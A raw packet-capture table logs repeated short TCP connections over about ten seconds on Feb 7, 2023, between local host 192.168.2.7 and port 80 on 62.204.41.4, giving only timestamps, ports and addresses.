Feb 7, 2023 23:07:29.694333076 CET	80	49804	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:29.694567919 CET	49804	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:29.696239948 CET	49804	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:29.758480072 CET	80	49804	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:29.761579037 CET	80	49804	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:29.761729956 CET	49804	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:29.875611067 CET	49804	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:29.876461983 CET	49805	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:29.938519955 CET	80	49804	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:29.938676119 CET	49804	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:29.939488888 CET	80	49805	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:29.939594030 CET	49805	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:29.940053940 CET	49805	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:30.002640009 CET	80	49805	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:30.004774094 CET	80	49805	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:30.004899025 CET	49805	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:30.109518051 CET	49805	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:30.110927105 CET	49806	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:30.171246052 CET	80	49806	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:30.171464920 CET	49806	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:30.172410011 CET	80	49805	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:30.172507048 CET	49805	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:30.176071882 CET	49806	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:30.236349106 CET	80	49806	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:30.238473892 CET	80	49806	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:30.238614082 CET	49806	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:30.344361067 CET	49806	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:30.345091105 CET	49807	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:30.405457020 CET	80	49806	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:30.405498028 CET	80	49807	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:30.405754089 CET	49806	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:30.407497883 CET	49807	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:30.407497883 CET	49807	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:30.467920065 CET	80	49807	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:30.470520973 CET	80	49807	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:30.470711946 CET	49807	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:30.581073046 CET	49807	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:30.581887960 CET	49808	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:30.641529083 CET	80	49807	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:30.641628981 CET	49807	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:30.642158031 CET	80	49808	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:30.642369032 CET	49808	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:30.643129110 CET	49808	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:30.703485966 CET	80	49808	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:30.705678940 CET	80	49808	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:30.705909014 CET	49808	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:30.819000959 CET	49808	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:30.820949078 CET	49809	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:30.879343987 CET	80	49808	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:30.879420042 CET	49808	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:30.881506920 CET	80	49809	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:30.881616116 CET	49809	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:30.882145882 CET	49809	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:30.942564964 CET	80	49809	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:30.945619106 CET	80	49809	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:30.945713043 CET	49809	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:31.048149109 CET	49809	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:31.048917055 CET	49810	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:31.108767986 CET	80	49809	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:31.108864069 CET	49809	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:31.109102964 CET	80	49810	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:31.109193087 CET	49810	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:31.110999107 CET	49810	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:31.171217918 CET	80	49810	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:31.173835993 CET	80	49810	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:31.173907995 CET	49810	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:31.287863970 CET	49810	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:31.288717985 CET	49811	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:31.348149061 CET	80	49810	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:31.348273039 CET	49810	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:31.351510048 CET	80	49811	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:31.351670027 CET	49811	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:31.352080107 CET	49811	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:31.414727926 CET	80	49811	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:31.417216063 CET	80	49811	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:31.417428017 CET	49811	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:31.531893015 CET	49811	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:31.532660007 CET	49812	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:31.594146013 CET	80	49812	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:31.594280958 CET	49812	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:31.594651937 CET	80	49811	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:31.594753027 CET	49811	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:31.595525980 CET	49812	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:31.657023907 CET	80	49812	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:31.659557104 CET	80	49812	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:31.659672022 CET	49812	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:31.766467094 CET	49812	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:31.767348051 CET	49813	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:31.828171015 CET	80	49812	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:31.828309059 CET	49812	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:31.828788996 CET	80	49813	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:31.828902960 CET	49813	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:31.831965923 CET	49813	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:31.893282890 CET	80	49813	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:31.895565987 CET	80	49813	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:31.895694971 CET	49813	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:32.018467903 CET	49813	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:32.019737005 CET	49814	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:32.080061913 CET	80	49813	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:32.080116034 CET	80	49814	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:32.080338955 CET	49813	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:32.080450058 CET	49814	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:32.080926895 CET	49814	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:32.141175032 CET	80	49814	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:32.144121885 CET	80	49814	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:32.145764112 CET	49814	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:32.266587973 CET	49814	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:32.267215014 CET	49815	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:32.327208996 CET	80	49814	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:32.327342987 CET	49814	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:32.329798937 CET	80	49815	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:32.329957962 CET	49815	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:32.330391884 CET	49815	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:32.392808914 CET	80	49815	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:32.396243095 CET	80	49815	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:32.396399021 CET	49815	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:32.500770092 CET	49815	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:32.501404047 CET	49816	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:32.563257933 CET	80	49816	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:32.563290119 CET	80	49815	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:32.563442945 CET	49815	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:32.563462019 CET	49816	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:32.564007044 CET	49816	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:32.625740051 CET	80	49816	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:32.628300905 CET	80	49816	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:32.631874084 CET	49816	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:32.737246037 CET	49816	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:32.737909079 CET	49817	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:32.797269106 CET	80	49817	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:32.797512054 CET	49817	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:32.798707962 CET	49817	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:32.798990965 CET	80	49816	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:32.799146891 CET	49816	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:32.858067989 CET	80	49817	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:32.860562086 CET	80	49817	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:32.861017942 CET	49817	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:32.976748943 CET	49817	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:32.979278088 CET	49818	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:33.036120892 CET	80	49817	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:33.036258936 CET	49817	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:33.041893959 CET	80	49818	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:33.042022943 CET	49818	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:33.042481899 CET	49818	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:33.105051041 CET	80	49818	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:33.109855890 CET	80	49818	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:33.109998941 CET	49818	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:33.251446009 CET	49818	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:33.252557039 CET	49819	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:33.314198017 CET	80	49819	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:33.314239979 CET	80	49818	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:33.314398050 CET	49819	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:33.314445019 CET	49818	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:33.315464973 CET	49819	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:33.376900911 CET	80	49819	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:33.379378080 CET	80	49819	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:33.379568100 CET	49819	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:33.485106945 CET	49819	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:33.485941887 CET	49820	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:33.546350956 CET	80	49820	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:33.546686888 CET	49820	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:33.546716928 CET	80	49819	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:33.546847105 CET	49819	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:33.547734976 CET	49820	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:33.608114958 CET	80	49820	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:33.610548973 CET	80	49820	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:33.610812902 CET	49820	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:33.719664097 CET	49820	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:33.720386028 CET	49821	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:33.780786037 CET	80	49820	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:33.781047106 CET	49820	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:33.781719923 CET	80	49821	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:33.781837940 CET	49821	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:33.782680988 CET	49821	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:33.844094038 CET	80	49821	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:33.847265005 CET	80	49821	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:33.847517014 CET	49821	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:33.957922935 CET	49821	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:33.958748102 CET	49822	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:34.020291090 CET	80	49821	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:34.020385981 CET	49821	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:34.021733999 CET	80	49822	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:34.021883011 CET	49822	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:34.022866011 CET	49822	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:34.086160898 CET	80	49822	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:34.090245008 CET	80	49822	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:34.090337992 CET	49822	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:34.204679966 CET	49822	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:34.206801891 CET	49823	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:34.267371893 CET	80	49822	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:34.267427921 CET	80	49823	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:34.267522097 CET	49822	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:34.267628908 CET	49823	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:34.268182993 CET	49823	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:34.328711033 CET	80	49823	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:34.332073927 CET	80	49823	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:34.332146883 CET	49823	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:34.445550919 CET	49823	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:34.446307898 CET	49824	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:34.506310940 CET	80	49823	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:34.506445885 CET	49823	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:34.507776976 CET	80	49824	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:34.507873058 CET	49824	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:34.508276939 CET	49824	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:34.569714069 CET	80	49824	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:34.572290897 CET	80	49824	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:34.572393894 CET	49824	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:34.688507080 CET	49824	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:34.690412998 CET	49825	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:34.750158072 CET	80	49824	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:34.750258923 CET	49824	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:34.753030062 CET	80	49825	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:34.753199100 CET	49825	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:34.754203081 CET	49825	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:34.815511942 CET	80	49825	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:34.818792105 CET	80	49825	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:34.818986893 CET	49825	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:34.923264027 CET	49825	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:34.924407959 CET	49826	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:34.984832048 CET	80	49825	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:34.985059023 CET	49825	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:34.986221075 CET	80	49826	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:34.986378908 CET	49826	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:34.986762047 CET	49826	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:35.048317909 CET	80	49826	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:35.052656889 CET	80	49826	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:35.052828074 CET	49826	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:35.160967112 CET	49826	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:35.161834002 CET	49827	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:35.221412897 CET	80	49827	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:35.222002983 CET	49827	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:35.222632885 CET	80	49826	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:35.222742081 CET	49826	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:35.253284931 CET	49827	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:35.312851906 CET	80	49827	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:35.315601110 CET	80	49827	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:35.315905094 CET	49827	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:35.438849926 CET	49827	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:35.439760923 CET	49828	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:35.498589993 CET	80	49827	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:35.500865936 CET	49827	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:35.501224995 CET	80	49828	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:35.504059076 CET	49828	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:35.504498005 CET	49828	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:35.565979958 CET	80	49828	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:35.568485022 CET	80	49828	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:35.568721056 CET	49828	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:35.675371885 CET	49828	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:35.676160097 CET	49829	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:35.737838984 CET	80	49828	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:35.737936974 CET	49828	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:35.738284111 CET	80	49829	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:35.738420963 CET	49829	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:35.738938093 CET	49829	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:35.800558090 CET	80	49829	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:35.803982019 CET	80	49829	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:35.805314064 CET	49829	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:35.907270908 CET	49829	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:35.907908916 CET	49830	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:35.968732119 CET	80	49830	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:35.968765020 CET	80	49829	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:35.968966007 CET	49829	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:35.969289064 CET	49830	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:35.970669031 CET	49830	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:36.031423092 CET	80	49830	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:36.035929918 CET	80	49830	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:36.036111116 CET	49830	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:36.142564058 CET	49830	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:36.143541098 CET	49831	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:36.203632116 CET	80	49830	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:36.203784943 CET	49830	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:36.204924107 CET	80	49831	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:36.205070019 CET	49831	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:36.211397886 CET	49831	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:36.272933006 CET	80	49831	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:36.275892973 CET	80	49831	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:36.276017904 CET	49831	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:36.397269964 CET	49831	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:36.400110006 CET	49832	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:36.459966898 CET	80	49831	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:36.460170031 CET	49831	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:36.463186026 CET	80	49832	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:36.463395119 CET	49832	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:36.601999998 CET	49832	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:36.662854910 CET	80	49832	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:36.665698051 CET	80	49832	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:36.665999889 CET	49832	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:36.782885075 CET	49832	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:36.783277988 CET	49833	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:36.843859911 CET	80	49832	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:36.843894005 CET	80	49833	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:36.844018936 CET	49832	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:36.844095945 CET	49833	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:36.871623993 CET	49833	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:36.932373047 CET	80	49833	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:36.935492039 CET	80	49833	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:36.935602903 CET	49833	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:37.072808981 CET	49833	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:37.073503017 CET	49834	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:37.133701086 CET	80	49833	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:37.133797884 CET	49833	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:37.133992910 CET	80	49834	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:37.134111881 CET	49834	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:37.138339043 CET	49834	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:37.199031115 CET	80	49834	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:37.202564001 CET	80	49834	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:37.202676058 CET	49834	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:37.313471079 CET	49834	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:37.314193964 CET	49835	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:37.373958111 CET	80	49834	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:37.374084949 CET	49834	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:37.380364895 CET	80	49835	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:37.380517960 CET	49835	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:37.902415991 CET	49835	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:37.962851048 CET	80	49835	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:37.965897083 CET	80	49835	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:37.966015100 CET	49835	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:38.080163002 CET	49835	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:38.081007957 CET	49836	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:38.140798092 CET	80	49835	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:38.140938997 CET	49835	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:38.143697977 CET	80	49836	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:38.143876076 CET	49836	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:38.152612925 CET	49836	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:38.215285063 CET	80	49836	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:38.219290018 CET	80	49836	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:38.219400883 CET	49836	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:38.883512020 CET	49836	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:38.884269953 CET	49837	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:38.944708109 CET	80	49837	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:38.944869041 CET	49837	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:38.946973085 CET	80	49836	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:38.947091103 CET	49836	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:38.971374989 CET	49837	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:39.031909943 CET	80	49837	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:39.035603046 CET	80	49837	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:39.035744905 CET	49837	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:39.460903883 CET	49837	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:39.461647987 CET	49838	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:39.521648884 CET	80	49837	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:39.521820068 CET	49837	80	192.168.2.7	62.204.41.4
